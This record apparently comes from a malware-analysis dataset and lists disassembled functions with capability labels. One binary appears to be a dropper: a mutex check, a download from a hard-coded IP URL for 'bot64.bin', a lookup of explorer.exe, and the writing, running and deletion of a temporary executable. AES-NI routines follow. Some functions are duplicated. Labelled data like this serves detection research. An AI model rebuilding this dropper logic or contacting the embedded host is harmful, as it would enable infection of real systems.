joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000d874
Capabilities:
Check mutex on windows

Disassembly:
push rbx
sub rsp, 0x20
lea r8, str.rbNSpGEsyb
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x18000d8b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x18000d8b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x18000d8b2
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x18000d8c0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x70
lea rdx, [0x180014070]
lea rcx, [rsp + 0x30]
call fcn.180001a8c
lea rdx, str.http:__176.111.174.140_2_api_bot64.bin
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.180001a8c
mov rdx, rbx
mov rcx, rax
call fcn.18000e5c0
xor ebx, ebx
lea r8, [0x18000d9d0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18003e7b0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1800026e8
cmp qword [0x18003e7c0], rbx
jne 0x18000d93e
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [0x18003e7c0], rax
mov eax, ebx
lea rcx, str.Kernel32.dll
xchg dword [0x18003e7bc], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000d975
lea rdx, [0x180014110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000d975
mov rcx, rax
call fcn.180002728
lea rcx, str.KernelBase.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000d9a4
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000d9a4
mov rcx, rax
call fcn.180002728
call fcn.1800026e8
cmp qword [0x18003e7c0], rbx
je 0x18000d9bc
mov ecx, 1
call fcn.180002620
xchg dword [0x18003e7bc], ebx
xor eax, eax
add rsp, 0x70
pop rbx
ret
Function at 0x18000d9fc
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, 0xffffffffffffffff
jne 0x18000da18
xor eax, eax
add rsp, 0x28
ret
mov rcx, rax
add rsp, 0x28
jmp 0x18000de6c
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
or eax, 0xffffffff
lea rdx, [rsp + 0x40]
mov rdi, rcx
xor esi, esi
mov dword [rsp + 0x40], 0x238
mov dword [rbp + 0x1a8], eax
mov dword [rbp + 0x1ac], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x18000df49
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call fcn.18000b298
test eax, eax
jne 0x18000df3b
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000df3b
lea rax, [rbp + 0x1b8]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x18000df32
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x18000df32
mov rax, qword [rbp + 0x1b0]
mov esi, dword [rsp + 0x48]
mov qword [rbp + 0x1a8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000deaf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2a0]
mov eax, esi
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret

Function at 0x18000de6c
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, 0xffffffffffffffff
jne 0x18000da18
xor eax, eax
add rsp, 0x28
ret
mov rcx, rax
add rsp, 0x28
jmp 0x18000de6c
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
or eax, 0xffffffff
lea rdx, [rsp + 0x40]
mov rdi, rcx
xor esi, esi
mov dword [rsp + 0x40], 0x238
mov dword [rbp + 0x1a8], eax
mov dword [rbp + 0x1ac], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x18000df49
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call fcn.18000b298
test eax, eax
jne 0x18000df3b
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000df3b
lea rax, [rbp + 0x1b8]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x18000df32
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x18000df32
mov rax, qword [rbp + 0x1b0]
mov esi, dword [rsp + 0x48]
mov qword [rbp + 0x1a8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000deaf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2a0]
mov eax, esi
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000e0f8
Capabilities:
Create process on windows
Delete file
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov r14, rcx
call fcn.18000e448
xor ebx, ebx
mov rdi, rax
test rax, rax
jne 0x18000e12b
xor al, al
jmp 0x18000e282
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000e124
lea r9, [rbp + 0x6f]
lea rdx, [0x1800184a0]
mov r8d, 0x12800
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
jne 0x18000e18b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000e124
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x180013e34]
lea rcx, [rbp - 0x51]
call fcn.180001a8c
lea rcx, [rbp - 0x51]
mov rdx, rdi
call fcn.180001bc0
lea rdx, [0x180013e4c]
lea rcx, [rbp - 0x51]
call fcn.180001bc0
lea rcx, [rbp - 0x51]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r14
call fcn.180001d38
mov esi, 0x68
lea rcx, [rbp - 0x29]
mov r8d, esi
xor edx, edx
call fcn.18000a480
xor eax, eax
cmp qword [rbp - 0x39], 8
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x59], rax
lea rax, [rbp - 0x69]
lea rdx, [rbp - 0x51]
mov dword [rbp - 0x29], esi
cmovae rdx, qword [rbp - 0x51]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000e270
mov rcx, qword [rbp - 0x69]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000e26e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000e270
mov bl, 1
cmp qword [rbp - 0x39], 8
jb 0x18000e280
mov rcx, qword [rbp - 0x51]
call fcn.180003e70
mov al, bl
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x18000e2a0
Capabilities:
Create process on windows
Delete file
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov r14, rcx
call fcn.18000e448
xor ebx, ebx
mov rdi, rax
test rax, rax
jne 0x18000e2d3
xor al, al
jmp 0x18000e42a
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000e2cc
lea r9, [rbp + 0x6f]
lea rdx, [0x18002aca0]
mov r8d, 0x12800
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
jne 0x18000e333
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000e2cc
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x180013df4]
lea rcx, [rbp - 0x51]
call fcn.180001a8c
lea rcx, [rbp - 0x51]
mov rdx, rdi
call fcn.180001bc0
lea rdx, [0x180013e2c]
lea rcx, [rbp - 0x51]
call fcn.180001bc0
lea rcx, [rbp - 0x51]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r14
call fcn.180001d38
mov esi, 0x68
lea rcx, [rbp - 0x29]
mov r8d, esi
xor edx, edx
call fcn.18000a480
xor eax, eax
cmp qword [rbp - 0x39], 8
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x59], rax
lea rax, [rbp - 0x69]
lea rdx, [rbp - 0x51]
mov dword [rbp - 0x29], esi
cmovae rdx, qword [rbp - 0x51]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000e418
mov rcx, qword [rbp - 0x69]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000e416
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000e418
mov bl, 1
cmp qword [rbp - 0x39], 8
jb 0x18000e428
mov rcx, qword [rbp - 0x51]
call fcn.180003e70
mov al, bl
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x18000e448
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
lea rdx, [0x18003e800]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x18000e466
xor eax, eax
jmp 0x18000e4a7
lea r9, [0x18003ea10]
lea rdx, str.temp_
lea rcx, [0x18003e800]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x18000e462
lea r8, str..exe
lea rcx, [0x18003ea10]
mov edx, 0x104
call fcn.180004400
lea rax, [0x18003ea10]
add rsp, 0x28
ret
Function at 0x18000e530
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000e5a4
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000e59b
lea rcx, [rsp + 0x4c]
mov rdx, rdi
call fcn.180004204
mov rcx, rbx
test eax, eax
je 0x18000e58f
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x18000e56a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x18000e5a6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
Function at 0x18000e5c0
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], r8
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
xor r12d, r12d
mov rdi, rdx
mov rsi, rcx
mov ebx, 0x1388
mov r15d, 0x84000000
mov dword [0x18003e7b8], r12d
xor r9d, r9d
lea rcx, [0x180013e58]
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], r12d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
jne 0x18000e61c
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000e5ee
cmp qword [rsi + 0x18], 8
jb 0x18000e628
mov rdx, qword [rsi]
jmp 0x18000e62b
mov rdx, rsi
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x18000e687
cmp qword [rdi + 0x18], 8
jb 0x18000e658
mov rdx, qword [rdi]
jmp 0x18000e65b
mov rdx, rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x18000e687
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18000e612
lea r9, [rsp + 0x88]
lea r8, [rsp + 0x80]
mov edx, 0x20000005
mov rcx, rbp
mov dword [rsp + 0x80], r12d
mov dword [rsp + 0x88], 4
mov qword [rsp + 0x20], r12
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebx, dword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rbp
mov r15, rax
test rax, rax
jne 0x18000e72b
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x18000e704
mov rcx, qword [rsi]
call fcn.180003e70
mov qword [rsi + 0x10], r12
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r12w
cmp qword [rdi + 0x18], 8
jb 0x18000e724
mov rcx, qword [rdi]
call fcn.180003e70
xor eax, eax
jmp 0x18000e7b1
mov r8d, dword [rsp + 0x80]
mov ebx, r12d
mov rdx, rax
jmp 0x18000e758
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x18000e767
mov r8d, dword [rsp + 0x80]
add ebx, eax
mov rcx, rbp
mov edx, ebx
sub r8d, ebx
add rdx, r15
lea r9, [rsp + 0x70]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18000e73b
mov rcx, rbp
mov dword [0x18003e7b8], ebx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x18000e78e
mov rcx, qword [rsi]
call fcn.180003e70
mov qword [rsi + 0x10], r12
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r12w
cmp qword [rdi + 0x18], 8
jb 0x18000e7ae
mov rcx, qword [rdi]
call fcn.180003e70
mov rax, r15
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x10], r12
mov word [rdi], r12w
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000e7cc
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ebx, ebx
cmp word [rsp + 0x20], bx
jne 0x18000e7f1
xor eax, eax
jmp 0x18000e808
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rsp + 0x68], ebx
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1400010a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x1400010c0
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
ret

Function at 0x140001100
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140001120
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
ret

Function at 0x140001160
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140001183
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
ret

Function at 0x1400011e0
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
add rax, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140001203
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
ret

Function at 0x140001260
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
xorps xmm5, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
nop dword [rax]
add rax, 0x10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140001289
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
ret
Function at 0x1400012f0
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
xorps xmm4, xmm0
xorps xmm5, xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + rax + 0x20]
neg rax
nop dword [rax]
add rax, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
aesdec xmm5, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140001319
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
aesdeclast xmm5, xmm0
ret

Function at 0x140001380
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
pxor xmm3, xmm0
pxor xmm4, xmm0
aesenc xmm2, xmm1
lea rcx, [rcx + rax + 0x20]
neg rax
aesenc xmm3, xmm1
pxor xmm5, xmm0
pxor xmm6, xmm0
aesenc xmm4, xmm1
pxor xmm7, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x1400013df
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
aesenc xmm6, xmm0
aesenc xmm7, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x1400013d0
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
aesenclast xmm6, xmm0
aesenclast xmm7, xmm0
ret

Function at 0x140001460
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
pxor xmm3, xmm0
pxor xmm4, xmm0
aesdec xmm2, xmm1
lea rcx, [rcx + rax + 0x20]
neg rax
aesdec xmm3, xmm1
pxor xmm5, xmm0
pxor xmm6, xmm0
aesdec xmm4, xmm1
pxor xmm7, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x1400014bf
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
aesdec xmm5, xmm0
aesdec xmm6, xmm0
aesdec xmm7, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x1400014b0
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
aesdeclast xmm5, xmm0
aesdeclast xmm6, xmm0
aesdeclast xmm7, xmm0
ret

Function at 0x140001540
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
pxor xmm4, xmm0
pxor xmm5, xmm0
pxor xmm6, xmm0
lea rcx, [rcx + rax + 0x20]
neg rax
aesenc xmm2, xmm1
pxor xmm7, xmm0
pxor xmm8, xmm0
aesenc xmm3, xmm1
pxor xmm9, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x14000159a
Function at 0x1400015ba
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm8, xmm1
aesenc xmm9, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
aesenc xmm6, xmm0
aesenc xmm7, xmm0
aesenc xmm8, xmm0
aesenc xmm9, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140001590
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm8, xmm1
aesenc xmm9, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
aesenclast xmm6, xmm0
aesenclast xmm7, xmm0
aesenclast xmm8, xmm0
aesenclast xmm9, xmm0
ret

Function at 0x140001650
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [rcx]
shl eax, 4
movups xmm1, xmmword [rcx + 0x10]
xorps xmm2, xmm0
xorps xmm3, xmm0
pxor xmm4, xmm0
pxor xmm5, xmm0
pxor xmm6, xmm0
lea rcx, [rcx + rax + 0x20]
neg rax
aesdec xmm2, xmm1
pxor xmm7, xmm0
pxor xmm8, xmm0
aesdec xmm3, xmm1
pxor xmm9, xmm0
movups xmm0, xmmword [rcx + rax]
add rax, 0x10
jmp 0x1400016aa
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
aesdec xmm8, xmm1
aesdec xmm9, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
aesdec xmm5, xmm0
aesdec xmm6, xmm0
aesdec xmm7, xmm0
aesdec xmm8, xmm0
aesdec xmm9, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x1400016a0
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdec xmm6, xmm1
aesdec xmm7, xmm1
aesdec xmm8, xmm1
aesdec xmm9, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
aesdeclast xmm5, xmm0
aesdeclast xmm6, xmm0
aesdeclast xmm7, xmm0
aesdeclast xmm8, xmm0
aesdeclast xmm9, xmm0
ret